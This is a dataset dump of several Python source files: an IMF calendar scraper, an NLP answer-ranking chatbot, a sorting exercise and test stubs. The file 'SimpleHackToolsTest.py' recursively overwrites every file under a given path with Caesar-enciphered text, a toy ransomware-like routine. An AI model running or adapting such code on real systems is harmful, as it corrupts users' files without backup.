TBD: write a test for the methods we use now.\n# def TestGetZernikeCoeffs(self):\n# \"Make sure opticspy zernike surfaces can be identified\"\n# \n# # noll index of 11\n# zAmp = 1.0\n# Z = opticspy.zernike.Coefficient(Z11=zAmp)\n#\n# surf = Z.zernikematrix()\n#\n# order = 36\n# zs = getZernikeCoeffs(surf, order)\n#\n# # shows up as expected asAnsi of 13?\n# expIdx = 13\n# tol = 5e-2\n# for i in range(order + 1):\n# if i != expIdx:\n# self.assertTrue(abs(zs[i]) < tol )\n# else:\n# self.assertTrue(abs(zAmp - zs[i]) < 0.1) \n#\n#\n# # try noll index 3\n# Z = opticspy.zernike.Coefficient(Z3=zAmp)\n#\n# surf = Z.zernikematrix()\n#\n# zs = getZernikeCoeffs(surf, order)\n#\n# # shows up as expected asAnsi of 3?\n# expIdx = 3\n# tol = 5e-2\n# for i in range(order + 1):\n# if i != expIdx:\n# self.assertTrue(abs(zs[i]) < tol )\n# else:\n# self.assertTrue(abs(zAmp - zs[i]) < 0.1) \n","sub_path":"tests/TestZernikes.py","file_name":"TestZernikes.py","file_ext":"py","file_size_in_byte":2743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"558943583","text":"#!/usr/bin/env python\n\n'''\nThis program will collect the first entry of every observation in the calendar and save it in a pickle file.\n\nThe following period information can be stored for self.period:\n\t1) current year (default)\t>> self.period = False\n\t2) specific year \t\t\t>> self.period = '2018'\n\t3) start and end year \t \t>> self.period = (2002, 2018)\n\nNote: No data is stored in memory during this process.\n'''\n\nfrom selenium.webdriver.chrome import service as s\nfrom selenium import webdriver\nimport datetime as dt\nimport credentials\nimport selenium\nimport pickle\nimport time\nimport os\n\nclass get_data_init:\n\t'''\n\tThis class represents a class of the first initial step for getting the data\n\t'''\n\n\tversion = '0.1'\n\n\tdef __init__(self):\n\t\tself.path = os.getcwd()\n\t\tself.data_path = r'{}/sample/data/'.format(self.path)\n\t\tself.url = 'https://www.imfconnect.org/content/imf/en.html'\n\t\tself.thisLog = open(os.path.join(r'{}/sample/logs/'.format(self.path), 'Automation_Log_CoreInit_{}.txt'.format(str(dt.datetime.today().strftime('%m.%d.%Y')))), 'w')\n\t\tself.thisLog.truncate()\n\t\tself.period = [str(x) for x in range(2002, 2019)]\n\t\tself.open_chrome()\n\n\tdef open_chrome(self, coef = 3):\n\t\t'''\n\t\tOpen chrome browser and get to the signin page if not already signed in\n\t\t'''\n\t\tservice = s.Service(credentials.chrome['path'])\n\t\tservice.start()\n\t\tself.driver = webdriver.Remote(service.service_url, credentials.chrome['cap'])\n\t\tself.driver.get(self.url)\n\t\ttime.sleep(coef)\n\t\ttry:\n\t\t\theader = self.driver.find_element_by_class_name('headerUserName')\n\t\texcept Exception as e:\n\t\t\tself.thisLog.write('Error [headerUserName]: {}.\\n'.format(e))\n\t\t\treturn False\n\t\tif header.get_attribute('innerHTML') == credentials.login['email']:\n\t\t\tself.thisLog.write('User {} already signed in.\\n'.format(credentials.login['email']))\n\t\t\tself.board_calendar()\n\t\telse:\n\t\t\tself.thisLog.write('User {} not signed in.\\n'.format(credentials.login['email']))\n\t\t\tcheck = self.sign_in()\n\t\t\tif check == True:\n\t\t\t\tself.thisLog.write('User {} signed in successfully.\\n'.format(credentials.login['email']))\n\t\t\t\tself.board_calendar()\n\t\t\telse:\n\t\t\t\treturn False\n\t\tself.thisLog.write('Chrome execution completed.\\n')\n\t\treturn\n\n\tdef sign_in(self, coef = 2.5):\n\t\t'''\n\t\tSteps of clicks to sign in\n\t\t'''\n\t\ttry:\n\t\t\tself.driver.find_element_by_class_name('headerUserName').click()\n\t\texcept Exception as e:\n\t\t\tself.thisLog.write('Error [headerUserName.click]: {}.\\n'.format(e))\n\t\t\treturn\n\t\ttime.sleep(coef)\n\t\tif 'https://fedweb2.imf.org/' in self.driver.current_url:\n\t\t\ttry:\n\t\t\t\tuser = self.driver.find_element_by_name('USER')\n\t\t\texcept Exception as e:\n\t\t\t\tself.thisLog.write('Error [USER]: {}.\\n'.format(e))\n\t\t\t\treturn\n\t\t\ttry:\n\t\t\t\tpassword = self.driver.find_element_by_name('PASSWORD')\n\t\t\texcept Exception as e:\n\t\t\t\tself.thisLog.write('Error [PASSWORD]: {}.\\n'.format(e))\n\t\t\t\treturn\n\t\t\ttry:\n\t\t\t\tsubmit = self.driver.find_elements_by_class_name('imf-primary-btn')[1]\n\t\t\texcept Exception as e:\n\t\t\t\tself.thisLog.write('Error [imf-primary-btn[1]]: {}.\\n'.format(e))\n\t\t\t\treturn\n\t\t\ttime.sleep(coef)\n\t\t\tuser.send_keys(credentials.login['email'])\n\t\t\ttime.sleep(coef)\n\t\t\tpassword.send_keys(credentials.login['password'])\n\t\t\ttime.sleep(coef)\n\t\t\tsubmit.click()\n\t\t\ttime.sleep(coef)\n\t\telse:\n\t\t\tself.thisLog.write('Login url differ: {}.\\n'.format(self.driver.current_url))\n\t\t\treturn\n\t\treturn True\n\n\tdef board_calendar(self, coef = 4):\n\t\t'''\n\t\tSteps of clicks to access board calendar page\n\t\t'''\n\t\ttry:\n\t\t\tboard = self.driver.find_element_by_xpath('//a[@href=\"/content/imf/en/executive-board.html\"]')\n\t\texcept Exception as e:\n\t\t\tself.thisLog.write('Error [//a[@href=\"/content/imf/en/executive-board.html\"]: {}.\\n'.format(e))\n\t\t\treturn\n\t\tboard.click()\n\t\ttime.sleep(coef)\n\t\ttry:\n\t\t\ttag = self.driver.find_element_by_xpath('//a[@title=\"View Today\\'s Agenda\"]')\n\t\texcept Exception as e:\n\t\t\tself.thisLog.write('Error [//a[@title=\"View Today\\'s Agenda\"]]: {}.\\n'.format(e))\n\t\t\treturn\n\t\ttag.click()\n\t\ttime.sleep(coef)\n\t\ttry:\n\t\t\tmonth_id = self.driver.find_element_by_id('imf-calendar-month-link')\n\t\texcept Exception as e:\n\t\t\tself.thisLog.write('Error [imf-calendar-month-link]: {}.\\n'.format(e))\n\t\t\treturn\n\t\tmonth_id.click()\n\t\ttime.sleep(coef)\n\t\tself.first_iteration()\n\t\treturn\n\n\tdef first_iteration(self):\n\t\t'''\n\t\tFirst iteration of get data and close pickle file\n\t\t'''\n\t\tself.dump_file = open(os.path.join(self.data_path, 'href_iteration.p'), 'wb')\n\t\tself.dump_file.truncate()\n\t\tif self.period == False:\n\t\t\tself.scrape_data(str(dt.datetime.today().strftime('%Y')))\n\t\telif type(self.period) == str:\n\t\t\tself.scrape_year(self.period)\n\t\telif type(self.period) == list:\n\t\t\tfor year in self.period:\n\t\t\t\tself.scrape_year(year)\n\t\telse:\n\t\t\tself.thisLog.write('Incorrect year information. Options to enter:\\n1)Current year (default value),\\n2)Specific year,\\n3)Time period.\\n')\n\t\tself.dump_file.close()\n\t\tself.thisLog.write('Data successfully saved in file.\\n')\n\t\treturn\n\n\tdef scrape_year(self, year, coef = 4):\n\t\t'''\n\t\tLoops through all years to get the data if self.period is period range\n\t\t'''\n\t\ttry:\n\t\t\tcalendar = self.driver.find_element_by_id('calendar-date-picker')\n\t\texcept Exception as e:\n\t\t\tself.thisLog.write('Error [calendar-date-picker] for year {}: {}.'.format(year, e))\n\t\t\treturn False\n\t\tcalendar.click()\n\t\ttime.sleep(coef)\n\t\ttry:\n\t\t\tcurrent_year = self.driver.find_element_by_class_name('datepicker-switch')\n\t\texcept Exception as e:\n\t\t\tself.thisLog.write('Error [datepicker-switch] for year {}: {}.'.format(year, e))\n\t\t\treturn False\n\t\tcurrent_year = int(current_year.get_attribute('innerHTML')[-4:])\n\t\tif (current_year - int(year)) > 0:\n\t\t\titer_j = current_year - int(year)\n\t\t\twhile iter_j > 0:\n\t\t\t\tkey = 'prev'\n\t\t\t\tself.click(key, year)\n\t\t\t\titer_j -= 1\n\t\telse:\n\t\t\titer_j = int(year) - current_year\n\t\t\twhile iter_j > 0:\n\t\t\t\tkey = 'next'\n\t\t\t\tself.click(key, year)\n\t\t\t\titer_j -= 1\n\t\tself.scrape_data(year)\n\t\treturn\n\n\tdef scrape_data(self, year, try_coef = 5, coef = 4):\n\t\t'''\n\t\tGet first entry of every calendar date and dumps to pickle file\n\t\t'''\n\t\tfor i in range(0, 12):\n\t\t\ttry:\n\t\t\t\tcalendar = self.driver.find_element_by_id('calendar-date-picker')\n\t\t\texcept Exception as e:\n\t\t\t\tself.thisLog.write('Error [calendar-date-picker] for year {}: {}.\\n'.format(year, e))\n\t\t\t\tcontinue\n\t\t\tcalendar.click()\n\t\t\ttime.sleep(coef)\n\t\t\ttry:\n\t\t\t\tmonths = self.driver.find_elements_by_class_name('month')\n\t\t\texcept Exception as e:\n\t\t\t\tself.thisLog.write('Error [month] for year {}: {}.\\n'.format(year, e))\n\t\t\t\tcontinue\n\t\t\tmonths[i].click()\n\t\t\ttime.sleep(coef)\n\t\t\ttry:\n\t\t\t\tdays = self.driver.find_elements_by_class_name('fc-day')\n\t\t\texcept Exception as e:\n\t\t\t\tself.thisLog.write('Error [fc-day] for year {}: {}.\\n'.format(year, e))\n\t\t\t\tcontinue\n\t\t\tfor day in days:\n\t\t\t\tif self.stale(day, try_coef) == False:\n\t\t\t\t\tcontinue\n\t\t\t\telse:\n\t\t\t\t\tdate_value = day.get_attribute('data-date')\n\t\t\t\t\ttry:\n\t\t\t\t\t\tevents = self.driver.find_elements_by_xpath('//a[@data-date=\"{}\"]'.format(date_value))\n\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\tself.thisLog.write('Error [a//[@data-date=\"{}\"]] for year {}, iteration {}: {}.\\n'.format(date_value, year, i, e))\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tif events != []:\n\t\t\t\t\t\tnew_dict = {}\n\t\t\t\t\t\tnew_dict['date'] = date_value\n\t\t\t\t\t\tnew_dict['href'] = events[0].get_attribute('href')\n\t\t\t\t\t\tpickle.dump(new_dict, self.dump_file)\n\n\tdef click(self, key, year):\n\t\t'''\n\t\tClicks every year if self.period is period range\n\t\t'''\n\t\ttry:\n\t\t\ttable_content = self.driver.find_elements_by_class_name('table-condensed')[1]\n\t\texcept Exception as e:\n\t\t\tself.thisLog.write('Error [table-condensed] for year {}: {}.\\n'.format(year, e))\n\t\t\treturn\n\t\ttry:\n\t\t\tclick = table_content.find_element_by_class_name(key)\n\t\texcept Exception as e:\n\t\t\tself.thisLog.write('Error [{}] for year {}: {}.'.format(key, year, e))\n\t\t\treturn\n\t\tclick.click()\n\t\treturn\n\n\tdef stale(self, observation, iter_i, coef = 5):\n\t\t'''\n\t\tRecursion to check the calendar entry iter_i times\n\t\t'''\n\t\twhile iter_i > 0:\n\t\t\ttry:\n\t\t\t\tvalue = observation.get_attribute('data-date')\n\t\t\t\treturn value\n\t\t\texcept:\n\t\t\t\tself.thisLog.write('Exception day.get_attribute(\"data-date\"). Recursion iteration {}...\\n'.format(iter_i))\n\t\t\t\ttime.sleep(coef)\n\t\t\t\titer_i -= 1\n\t\treturn False","sub_path":"sample/core_init.py","file_name":"core_init.py","file_ext":"py","file_size_in_byte":8146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"378437275","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 8 15:18:29 2020\n\n@author: amc\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nimport nltk\nnltk.download('wordnet')\nfrom eda import *\nimport tensorflow as tf\nfrom tensorflow.keras.preprocessing.text import Tokenizer\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\nfrom tensorflow.keras.callbacks import EarlyStopping\nfrom sklearn.metrics import *\nimport tensorflow as tf\nimport tensorflow_hub as hub\nimport tensorflow_text as text\nimport numpy as np\nfrom rank_bm25 import BM25Okapi\nimport matplotlib.pyplot as plt\nimport io\nfrom helper_functions import *\n\ndef allnull(somelist):\n count=0\n for i in somelist:\n if pd.isnull(i):\n count+=1\n return count==len(somelist)\n\ndef decode_qapair(text, reverse_word_index):\n return ' '.join([reverse_word_index.get(i, '?') for i in text])\n\ndef plot_graphs(history, string):\n plt.plot(history.history[string])\n plt.plot(history.history['val_'+string])\n plt.xlabel(\"Epochs\")\n plt.ylabel(string)\n plt.legend([string, 'val_'+string])\n plt.show()\n \nknowledgebase = pd.read_csv('/Users/amc/Documents/TOIA-NYUAD/research/MargaritaCorpusKB.csv', encoding='utf-8')\ntrain_test_dialogues = pd.read_csv('/Users/amc/Documents/TOIA-NYUAD/research/DIALOGUES.csv', encoding='utf-8')\n\nvalidation_dialogues = train_test_dialogues.loc[train_test_dialogues.Experiment==\"TRAIN\"]\ntest_dialogues = train_test_dialogues.loc[train_test_dialogues.Experiment==\"TEST\"]\n\nKBanswers = list(np.unique(knowledgebase.Utterance.values))\n\nContext, Utterance, Labels= [], [], []\nfor example_id in range(len(knowledgebase)):\n no_distr_to_sample = 0\n Context.append(knowledgebase.Context.values[example_id])\n Utterance.append(knowledgebase.Utterance.values[example_id])\n Labels.append(1)\n id_to_exclude = KBanswers.index(knowledgebase.Utterance.values[example_id])\n tmp_distractors = [KBanswers[i] for i in\n np.array(range(len(KBanswers)))\n [np.isin(range(len(KBanswers)), id_to_exclude, invert=True)]\n ]\n np.random.seed(example_id)\n Context.append(knowledgebase.Context.values[example_id])\n Utterance.append(np.random.choice(tmp_distractors, 1)[0])\n Labels.append(0)\n\ntrain_df = pd.DataFrame({'Context':Context, 'Utterance':Utterance, 'Label':Labels})\n\nfor i in range(len(train_df)):\n try:\n tmp_df = pd.DataFrame({\n 'Context': eda(train_df.Context.values[i], .2, .2, .2, .2, 15),\n 'Utterance': list(np.repeat(train_df.Utterance.values[i], 16)),\n 'Label': list(np.repeat(train_df.Label.values[i], 16))\n })\n train_df = train_df.append(tmp_df)\n except Exception:\n pass\n\ntrain_df.reset_index(level=None, drop=True, inplace=True)\n\n\nContext, WOzAnswers, Labels= [], [], []\nKBanswers = list(np.unique(knowledgebase.Utterance.values))\nfor example_id in range(len(validation_dialogues)):\n exampleWOzAnswers = list(validation_dialogues.iloc[example_id, 7:].values)\n no_distr_to_sample = 0\n ids_to_exclude = []\n if allnull(exampleWOzAnswers):\n Context.append(validation_dialogues.iloc[example_id, 4])\n WOzAnswers.append(\"I don't have an answer for this question\")\n Labels.append(1)\n Context.append(validation_dialogues.iloc[example_id, 4])\n np.random.seed(example_id)\n WOzAnswers.append(str(np.random.choice(KBanswers, 1)[0]))\n Labels.append(0)\n else: \n for answer in exampleWOzAnswers:\n if not pd.isnull(answer):\n Context.append(validation_dialogues.iloc[example_id, 4])\n WOzAnswers.append(answer)\n Labels.append(1)\n ids_to_exclude.append(KBanswers.index(answer))\n no_distr_to_sample += 1 \n #\n tmp_distractors = [KBanswers[i] for i in\n np.array(range(len(KBanswers)))\n [np.isin(range(len(KBanswers)), ids_to_exclude, invert=True)]\n ]\n #\n np.random.seed(example_id)\n if no_distr_to_sample==1:\n np.random.seed(example_id)\n answer = str(np.random.choice(tmp_distractors, 1))\n else: \n for answer in np.random.choice(tmp_distractors, no_distr_to_sample, replace=False):\n Context.append(validation_dialogues.iloc[example_id, 4])\n WOzAnswers.append(str(answer))\n Labels.append(0)\n \nvalid_df = pd.DataFrame({'Context':Context, 'Utterance':WOzAnswers, 'Label':Labels})\nfor i in range(len(valid_df)):\n try:\n tmp_df = pd.DataFrame({\n 'Context': eda(valid_df.Context.values[i], .2, .2, .2, .2, 15),\n 'Utterance': list(np.repeat(valid_df.Utterance.values[i], 16)),\n 'Label': list(np.repeat(valid_df.Label.values[i], 16))\n })\n valid_df = valid_df.append(tmp_df)\n except Exception:\n pass\n\nvalid_df.reset_index(level=None, drop=True, inplace=True)\n \n\nclass myCallback(tf.keras.callbacks.Callback):\n def on_epoch_end(self, epoch, logs={}):\n if(logs.get('accuracy')>0.99):\n print(\"\\nReached 99% accuracy so cancelling training!\")\n self.model.stop_training = True\n \n \nstopwords = ['', 'a', 'about', 'above', 'after', 'again', 'against', 'all',\n 'am', 'an', 'and', 'any', 'are', 'as', 'at', 'be', 'because',\n 'been', 'before', 'being', 'below', 'between', 'both', 'but', 'by',\n 'can', 'could', 'did', 'do', 'does', 'doing', 'don', 'down',\n 'during', 'each', 'few', 'for', 'from', 'further', 'had', 'has',\n 'have', 'having', 'he', \"he'd\", \"he'll\", \"he's\", 'her', 'here',\n \"here's\", 'hers', 'herself', 'him', 'himself', 'his', 'how',\n \"how's\", 'i', \"i'd\", \"i'll\", \"i'm\", \"i've\", 'if', 'in', 'into',\n 'is', 'it', \"it's\", 'its', 'itself', 'just', \"let's\", 'me', 'more',\n 'most', 'my', 'myself', 'no', 'nor', 'not', 'now', 'of', 'off',\n 'on', 'once', 'only', 'or', 'other', 'ought', 'our', 'ours',\n 'ourselves', 'out', 'over', 'own', 's', 'same', 'she', \"she'd\",\n \"she'll\", \"she's\", 'should', 'so', 'some', 'such', 't', 'than',\n 'that', \"that's\", 'the', 'their', 'theirs', 'them', 'themselves',\n 'then', 'there', \"there's\", 'these', 'they', \"they'd\", \"they'll\",\n \"they're\", \"they've\", 'this', 'those', 'through', 'to', 'too',\n 'under', 'until', 'up', 'very', 'was', 'we', \"we'd\", \"we'll\",\n \"we're\", \"we've\", 'were', 'what', \"what's\", 'when', \"when's\",\n 'where', \"where's\", 'which', 'while', 'who', \"who's\", 'whom',\n 'why', \"why's\", 'will', 'with', 'would', 'you', \"you'd\", \"you'll\",\n \"you're\", \"you've\", 'your', 'yours', 'yourself', 'yourselves']\nprint(len(stopwords))\n# Expected Output\n# 164\n \ntraining_corpus = [] \nfor question, answer in zip(train_df.Context.values, train_df.Utterance.values):\n sentence = question.lower() + \" \" + answer.lower()\n for word in stopwords:\n token = \" \" + word + \" \"\n sentence = sentence.replace(token, \" \")\n sentence = sentence.replace(\" \", \" \")\n training_corpus.append(sentence)\n \nvalidation_corpus = []\nfor question, answer in zip(valid_df.Context.values, valid_df.Utterance.values):\n sentence = question.lower() + \" \" + answer.lower()\n for word in stopwords:\n token = \" \" + word + \" \"\n sentence = sentence.replace(token, \" \")\n sentence = sentence.replace(\" \", \" \")\n validation_corpus.append(sentence)\n\nvocab_size = 4000\nembedding_dim = 512\nmax_length = 120\ntrunc_type='post'\npadding_type = 'post'\noov_tok = \"\"\n\ntokenizer = Tokenizer(num_words = vocab_size, oov_token=oov_tok)\ntokenizer.fit_on_texts(training_corpus)\nword_index = tokenizer.word_index\nsequences = tokenizer.texts_to_sequences(training_corpus)\npadded = pad_sequences(sequences, maxlen=max_length, truncating=trunc_type, padding=padding_type)\n\nvalidation_sequences = tokenizer.texts_to_sequences(validation_corpus)\nvalidation_padded = pad_sequences(validation_sequences, maxlen=max_length, truncating=trunc_type, padding=padding_type)\n\nreverse_word_index = dict([(value, key) for (key, value) in word_index.items()])\n\nprint(decode_qapair(padded[3]))\nprint(training_corpus[3])\n\nmodel = tf.keras.Sequential([\n tf.keras.layers.Embedding(vocab_size, embedding_dim, input_length=max_length),\n tf.keras.layers.Dropout(0.2),\n tf.keras.layers.Conv1D(64, 5, activation='relu'),\n tf.keras.layers.MaxPooling1D(pool_size=4),\n tf.keras.layers.LSTM(64),\n tf.keras.layers.Dense(1, activation='sigmoid')\n])\nmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\nmodel.summary()\n\nnum_epochs = 20\ncallbacks = myCallback()\nhistory= model.fit(padded, train_df.Label.values, epochs=num_epochs, validation_data=(validation_padded, valid_df.Label.values), callbacks=[callbacks])\n\nplot_graphs(history, \"accuracy\")\nplot_graphs(history, \"loss\")\n\ne = model.layers[0]\nweights = e.get_weights()[0]\nprint(weights.shape) # shape: (vocab_size, embedding_dim)\n\nout_v = io.open('vecs.tsv', 'w', encoding='utf-8')\nout_m = io.open('meta.tsv', 'w', encoding='utf-8')\nfor word_num in range(1, vocab_size):\n word = reverse_word_index[word_num]\n embeddings = weights[word_num]\n out_m.write(word + \"\\n\")\n out_v.write('\\t'.join([str(x) for x in embeddings]) + \"\\n\")\nout_v.close()\nout_m.close()\n\ny_valid = valid_df.Label.values\ny_lstm_probs = model.predict(validation_padded)\ny_lstm = [1 if i>.5 else 0 for i in y_lstm_probs]\nTN, FP, FN, TP = confusion_matrix(y_valid, y_lstm, labels=[1,0]).ravel()\nthr = TP/(2*TP + FN + FP)\nprint(\"\\n CM: \", confusion_matrix(y_valid, y_lstm, labels=[1,0]),\n \"\\n Accuracy: \", accuracy_score(y_valid, y_lstm),\n \"\\n Precision: \", precision_score(y_valid, y_lstm),\n \"\\n Recall: \", recall_score(y_valid, y_lstm),\n \"\\n F1: \", f1_score(y_valid, y_lstm),\n)\n\n\ninput_text = \"Does NYU Abu Dhabi take into consideration the difficulty of a particular curriculum or different secondary school grading policies when making admissions decisions?\"\n\npredictions = []\nfor A in KBanswers:\n sentence = input_text + \" \" + A\n for word in stopwords:\n token = \" \" + word + \" \"\n sentence = sentence.replace(token, \" \")\n sentence = sentence.replace(\" \", \" \")\n predictions.append(sentence)\n\nsequences = tokenizer.texts_to_sequences(predictions)\npadded = pad_sequences(sequences, maxlen=max_length, truncating=trunc_type, padding=padding_type)\n \nk=10\nrankings = model.predict(padded)\n\nprint(\"Question: \", input_text)\nfor answer, ranking in zip(np.take(KBanswers, list(np.argsort(rankings, axis=0)[::-1][:k])), np.sort(rankings, axis=0)[::-1][:k]):\n print(\n \"\\n Answer: \", answer[0],\n \"\\n [Rank value: \", ranking*1000, \"]\"\n )\n \n \n# Now using pre-trained embeddings:\n\nquestions = [\"What is your age?\"]\nresponses = [\"I am 20 years old.\", \"good morning\"]\nresponse_contexts = [\"I will be 21 next year.\", \"great day.\"]\n##Normally context are sentences before/after the answer.\n\nmodule = hub.load('./3') #https://tfhub.dev/google/universal-sentence-encoder-qa/3 ##downlaod at https://tfhub.dev/google/universal-sentence-encoder-qa/3\n\nquestion_embeddings = module.signatures['question_encoder'](\n tf.constant(questions))\nresponse_embeddings = module.signatures['response_encoder'](\n input=tf.constant(responses),\n context=tf.constant(response_contexts))\n\nnp.inner(question_embeddings['outputs'], response_embeddings['outputs'])\n\ntraining_corpus = [] \nfor question, answer in zip(train_df.Context.values, train_df.Utterance.values):\n sentence = question.lower() + \" \" + answer.lower()\n training_corpus.append(sentence)\ntraining_embeddings = module.signatures['question_encoder'](tf.constant(training_corpus))\ntraining_embeddings=np.array(training_embeddings['outputs'])\n \nvalidation_corpus = []\nfor question, answer in zip(valid_df.Context.values, valid_df.Utterance.values):\n sentence = question.lower() + \" \" + answer.lower()\n validation_corpus.append(sentence)\nvalidation_embeddings = module.signatures['question_encoder'](tf.constant(validation_corpus))\nvalidation_embeddings=np.array(validation_embeddings['outputs'])\n\nmodel = tf.keras.Sequential([\n tf.keras.layers.Flatten(),\n tf.keras.layers.Dropout(0.3),\n tf.keras.layers.Dense(256, activation='relu'),\n tf.keras.layers.Dropout(0.6),\n tf.keras.layers.Dense(64, activation='relu'),\n tf.keras.layers.Dropout(0.6),\n tf.keras.layers.Dense(1, activation='sigmoid')\n])\nmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\nmodel.build([29880, 512])\nmodel.summary()\n\nnum_epochs = 100\ncallbacks = myCallback()\n#callbacks = EarlyStopping(monitor='val_loss', mode='min', verbose=1, patience=10)\nhistory= model.fit(training_embeddings, train_df.Label.values, epochs=num_epochs, validation_data=(validation_embeddings, valid_df.Label.values), callbacks=[callbacks])\n \nplot_graphs(history, \"accuracy\")\nplot_graphs(history, \"loss\")\n\ny_valid = valid_df.Label.values\ny_nnet_probs = model.predict(validation_embeddings)\ny_nnet = [1 if i>.5 else 0 for i in y_nnet_probs]\nTN, FP, FN, TP = confusion_matrix(y_valid, y_nnet, labels=[1,0]).ravel()\nprint(\"\\n CM: \", np.array([[TP, FN], [FP, TN]]),\n \"\\n Accuracy: \", accuracy_score(y_valid, y_nnet),\n \"\\n Precision: \", precision_score(y_valid, y_nnet),\n \"\\n Recall: \", recall_score(y_valid, y_nnet),\n \"\\n F1: \", f1_score(y_valid, y_nnet),\n)\nthr = TP/(2*TP + FN + FP)\ny_nnet = [1 if i>thr else 0 for i in y_nnet_probs]\nprint(\"\\n CM: \", confusion_matrix(y_valid, y_nnet),\n \"\\n Accuracy: \", accuracy_score(y_valid, y_nnet),\n \"\\n Precision: \", precision_score(y_valid, y_nnet),\n \"\\n Recall: \", recall_score(y_valid, y_nnet),\n \"\\n F1: \", f1_score(y_valid, y_nnet),\n)\n\ninput_text = \"Where are you from?\"\n\npredictions = []\nfor A in KBanswers:\n sentence = input_text + \" \" + A\n predictions.append(sentence)\nembeddings = module.signatures['question_encoder'](tf.constant(predictions))\nembeddings=np.array(embeddings['outputs'])\n\nk=50\nrankings = model.predict(embeddings)\n\nprint(\"Question: \", input_text)\nfor answer, ranking in zip(np.take(KBanswers, list(np.argsort(rankings, axis=0)[::-1][:k])), np.sort(rankings, axis=0)[::-1][:k]):\n print(\n \"\\n Answer: \", answer[0],\n \"\\n [Rank value: \", ranking*1000, \"]\"\n )\n\npred_answers = np.take(KBanswers, list(np.argsort(rankings, axis=0)[::-1][:k]))\npred_answers = [answer[0] for answer in pred_answers]\nstep1_corpus = list(knowledgebase.loc[knowledgebase.Utterance.isin(pred_answers), 'Context'])\ntokenized_corpus = [doc.split(\" \") for doc in step1_corpus]\n\nk=5\nbm25 = BM25Okapi(tokenized_corpus)\nstep2_rankings = bm25.get_scores(input_text.split(\" \"))\nstep2_ranked_questions = np.take(step1_corpus, list(np.argsort(step2_rankings, axis=0)[::-1][:k]))\nstep2_answers = [knowledgebase.loc[knowledgebase.Context == a, \"Utterance\"] for a in step2_ranked_questions]\n\nprint(\"Reranked answers: \", step2_answers[0])\n\ndef chat(k2=5): \n query = input(\"Your Query: \")\n #query=['how long have you been in the UAE']\n while query!=\"stop\":\n try:\n predictions = []\n for A in KBanswers:\n sentence = query + \" \" + A\n predictions.append(sentence)\n embeddings = module.signatures['question_encoder'](tf.constant(predictions))\n embeddings=np.array(embeddings['outputs'])\n rankings = model.predict(embeddings)\n k=50\n pred_answers = np.take(KBanswers, list(np.argsort(rankings, axis=0)[::-1][:k]))\n pred_answers = [answer[0] for answer in pred_answers]\n step1_corpus = list(knowledgebase.loc[knowledgebase.Utterance.isin(pred_answers), 'Context'])\n tokenized_corpus = [doc.split(\" \") for doc in step1_corpus]\n bm25 = BM25Okapi(tokenized_corpus)\n step2_rankings = bm25.get_scores(query.split(\" \"))\n step2_ranked_questions = np.take(step1_corpus, list(np.argsort(step2_rankings, axis=0)[::-1][:k2]))\n scores = list(np.sort(step2_rankings, axis=0)[::-1][:k2])\n step2_answers = [knowledgebase.loc[knowledgebase.Context==a].Utterance.values[0] for a in step2_ranked_questions]\n print(\"\\n\\n======================\\n\\n\")\n print(\"Query:\", query)\n print(\"\\nAnswers to top-{} most similar questions in corpus:\".format(k2))\n for a, s in zip(step2_answers, scores):\n print(a, \"\\n(Score: {})\".format(s), \"\\n===\\n\")\n except ValueError:\n print(\"some error\")\n break\n query = input(\"Your Query: \")\n\nchat()\n\n","sub_path":"research/deeplearning.py","file_name":"deeplearning.py","file_ext":"py","file_size_in_byte":16598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"95163806","text":"from tqdm import tqdm\nimport os, sys\n\ndef encrypt(plaintext, key):\n cyphertext = ''\n for character in plaintext:\n if character.isalpha():\n number = ord(character)\n number += key%26\n if character.isupper():\n if number > ord('Z'):\n number -= 26\n elif number < ord('A'):\n number += 26\n elif character.islower():\n if number > ord('z'):\n number -= 26\n elif number < ord('a'):\n number += 26\n character = chr(number)\n cyphertext += character\n return cyphertext\n\ndef caesar(input_file, key):\n text = open(input_file,'r',encoding=\"utf8\").read()\n output_file = open(input_file, 'w', encoding= \"utf-8\")\n for k in tqdm(range(1)):\n print(\"\")\n cyphertext = encrypt(text, key)\n output_file.write(cyphertext)\n\ndef get_file(path):\n files = []\n for r, d, f in os.walk(path):\n for file in f:\n files.append(os.path.join(r, file))\n return files\n\nif __name__ == '__main__':\n try:\n path = sys.argv[1]\n key = int(sys.argv[2])\n for file in get_file(path):\n caesar(file,key)\n except Exception as e:\n print(\"Something's wrong! Check your input again!\\nError: \")\n print(e)","sub_path":"TestEnCrypt/SimpleHackToolsTest.py","file_name":"SimpleHackToolsTest.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"329534279","text":"import random\n\ndef InsertionSort(numlist):\n\n lenlist = len(numlist)\n\n # traverse through 1 to len(arr)\n for i in range(1,lenlist):\n\n element = numlist[i]\n\n # move elements of lenlist, that are greater than\n # element, to one position ahead of current position\n j = i - 1\n while j >= 0 and element < numlist[j]:\n numlist[j + 1] = numlist[j]\n j -= 1\n numlist[j + 1] = element\n \n print(\"\\n\\nSorted list : \", end=\"\")\n for i in range(lenlist):\n print(numlist[i],end=\" \")\n\nif __name__ == \"__main__\":\n # creating 10 random numbers upto the range of 100\n randomList = random.sample(range(100),10)\n print(\"\\nRandom list : \",end=\"\")\n for k in range(len(randomList)):\n print(randomList[k],end=\" \")\n\n # calling InsertionSort() function with\n # generated numbers\n InsertionSort(randomList)\n","sub_path":"Project/013.py","file_name":"013.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"187111014","text":"from etc.furrypoll2015 import models\n\nimport csv\nimport sys\n\nresponses = models.Response.objects\nresults = []\n\nwhile True:\n try:\n response = responses.next()\n except:\n break\n\n for character in response.overview.characters:\n if character.reason.value:\n results.append([\n ', '.join(character.species_category),\n character.reason.value,\n 